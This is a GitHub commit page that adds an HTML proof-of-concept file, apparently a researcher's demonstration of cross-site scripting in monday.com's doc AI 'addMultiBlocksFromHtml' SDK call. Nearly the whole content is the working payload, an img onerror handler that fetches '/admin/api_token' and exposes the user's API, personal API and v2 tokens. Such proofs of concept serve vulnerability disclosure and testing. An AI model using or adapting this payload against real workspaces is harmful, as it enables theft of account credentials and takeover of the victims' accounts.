Skip to content

Commit

Permalink
Create doc-ai-create-from-html-xss.html
Browse files Browse the repository at this point in the history
  • Loading branch information
kosgdk authored May 28, 2024
1 parent 2f8fe08 commit e150717
Showing 1 changed file with 14 additions and 0 deletions.
14 changes: 14 additions & 0 deletions doc-ai-create-from-html-xss.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<html>
<head>
<script src="https://cdn.jsdelivr.net/npm/monday-sdk-js/dist/main.js"></script>
</head>
<body>
<script>
const monday = window.mondaySdk();
monday.execute("addMultiBlocksFromHtml", {
html: `<img src=x onerror="fetch('/admin/api_token').then(response => response.json()).then(data => alert('api_token:' + data.api_token + 'personal_api_token:' + data.personal_api_token + 'api_v2_token:' + data.api_v2_token))" />`
});
</script>
Hello
</body>
</html>

0 comments on commit e150717

Please sign in to comment.